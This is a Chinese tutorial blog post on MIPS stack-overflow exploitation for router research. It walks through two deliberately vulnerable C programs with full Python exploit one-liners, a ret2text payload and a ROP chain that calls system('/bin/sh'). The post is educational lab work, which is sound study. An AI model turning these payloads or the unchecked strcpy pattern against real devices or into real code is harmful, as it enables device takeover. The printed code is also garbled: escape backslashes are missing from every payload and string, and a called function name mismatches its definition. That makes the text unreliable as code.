路由器漏洞挖掘之栈溢出入门(一)

 

前言

MIPS 指令集主要使用在一些嵌入式的 IOT 设备中,比如路由器,摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS 指令集的栈溢出与 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一样的:覆盖返回地址、劫持程序控制流、构造 ROP chain 、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。

 

x86 和 MIPS 指令集的差异

1.MIPS 指令系统大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令,也就是没有 push 和 pop 指令
3.所有指令都是 32 位编码,也就是说所有的数据和指令都是 4 字节对齐。

由于 MIPS 固定指令长度,所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
MIPS 指令集使用 uclibc C 标准库,x86 使用 libc 的 C 标准库

基本的指令用法和两者的差异可以参考这里:
https://blog.csdn.net/gujing001/article/details/8476685

 

MIPS 的动态调试

在 qemu 上开启一个调试端口(-g 指定端口号),在 IDA 上使用 Remote GDB debugger,填上端口号和主机名即可

./qemu-mipsel -g 23946 xxxx

具体的步骤可以看这里
https://www.jianshu.com/p/9841b412af37

  • 也可以使用 gdb 进行调试,但是 gdb 需要使用专门支持 mips 指令集的 gdb 版本

 

叶子函数和非叶子函数

叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性照成了对栈溢出利用方式的差异。

在某个函数中,如果这个函数不调用其他函数,那么就这个称为叶子函数。反则这个函数就是非叶子函数

举个例子

main 函数为叶子函数,函数中没有调用其他函数

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}

main 函数为非叶子函数,函数调用了其他函数(printf)

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}
  • 叶子函数的返回地址是直接放在 ra 寄存器中,而非叶子函数需要调用另外的函数,这里的差异就照成了非叶子函数需要把当前的返回地址暂时存放在栈上

1.非叶子函数,有 sw $ra,xxx 的操作,在函数退出时,会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中

2.叶子函数,没有 sw $ra,xxx 的操作


 

简单的栈溢出

用一个代码
has_stack 函数存在栈溢出,该函数是非叶子函数,可以溢出到存放返回地址栈空间,劫持程序流

  • 这里可以直接溢出到调用 vuln 函数,也就是最基本的 rop :ret2text(返回到程序已有的代码空间中,这里返回到 vuln 函数的空间中)
#include <stdio.h>

void vuln(){
        system("/bin/sh");
}

void has_stack(char *src){
        char dst[20] = {0};
        strcpy(dst,src);
        printf("copy success!n");
}

void main(int argc,char *argv[]){
        has_stack(argv[1]);
}

动态分析

在 has_stack 函数调用 strcpy 时,下断点

开启服务器的远程调试:

nick@nick-machine:~/iot/program$ ./qemu-mipsel -g 23946 StackOverflow2 aaaaaaaaaaaaaaaaaa

在 IDA 连接上 gdb调试后,F9 运行到断点处,单步两次。这里 strcpy 函数的两个参数 a0、a1,函数的作用是将 a1 地址处的数据复制到 a0 地址处

没有对 a1 的地址的数据长度做限制,所以存在栈溢出。

F8 单步步过以后,看到输入的数据已经存放到栈上了,也可以很清楚的看到返回地址的位置。

计算偏移,得到 exp:

./qemu-mipsel StackOverflow2 `python -c "print 'a'*28+'x90x03x40x00'"`

本地运行,成功拿到 shell

has_stack 函数栈帧的排布情况

简单画了一个图,便于理解(这里的栈的高地址在上

栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的 main + 30 处的栈空间

 

ROP chain 的利用

在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

  • 这个脚本只支持 IDA 6.8,不支持 6.8 以上的版本

用法

有几个主要的用法:

mipsrop.stackfinder()    寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary()        列出所有的可用 rop
mipsrop.system()         寻找命令执行的的rop
mipsrop.find(xxx)        查找 find 函数参数的 rop,类似正则匹配

例子

这里举一个《揭秘家用路由器 0day 漏洞挖掘技术》里面的例子,来详细说明 ROP chain 的使用方法

源码

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

void main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!n");
        exit(1);
    }


    ch=fgetc(fp);
    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = 'x00';

    if(!strcmp(buf,"adminpwd"))
    {
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!n");
    }
    fclose(fp);
}

溢出是在 main 函数中,很明显 main 函数是一个非叶子函数,所以 main 的返回地址是存放在栈上的,可以覆盖到返回地址,控制程序流

但是当我要要调用 do_system_0 函数时,他的第二个参数是在 a1 当中的,我们可控的只有栈上的内容,那个要找的 ROP chain 也就是需要将栈上的内容赋值给 a1 寄存器的汇编语句

可以直接使用 mipsrop.stackfinder() 命令来找找看

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00401D40  |  addiu $a1,$sp,0x58+var_40                           |  jr    0x58+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------
  • 在原来的 main 函数的中返回地址是 __uClibc_main 函数

分析

虚拟机中开启动态调试,IDA 连接上

./qemu-mipsel -g 23946 vuln_system

首先是 main 函数中的栈溢出,这里要调用 rop 的地址

因为存放 ra 寄存器的栈空间被覆盖,此时的 ra 寄存器存放的就为 rop 的地址了。

跳转到 rop 的栈空间时,我们再进行分析:

addiu $ai,$sp,0x58+var_40        等价于 a1 = sp+0x18
lw    $ra,0x58+var_4($sp)        等价于 ra = sp+0x54
jr    $ra                        跳到返回地址

所以这里可以分析出来,栈的排布情况:a1 在上,ra 在下,中间还有一段空间需要填充

图中的此时已经是被我填充好了的情况

最后可以得到 exp

exp 的详细分析

python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
'a' * 0x108                            在 main 函数的栈空间填充到返回地址
'x00x40x1Dx40'                     ROP chain 的地址
'b' * 24                               填充为 do_system_0 的第一个参数
x2fx62x69x6e'+'x2fx73x68x00'    /bin/sh 字符串
'c'*0x34                                填充
'x00x40x03x90'                      填充返回地址,调用 do_system_0 函数

将这个程序运行起来,会读取 passwd 中的内容填充到程序的栈空间中,这样就可以得到 shell

 

总结

MIPS 的二进制漏洞挖掘中,最基础的栈溢出也就是一些简单的 rop 的利用,希望大家能多动手进行调试,在调试发现问题并慢慢进步~

(完)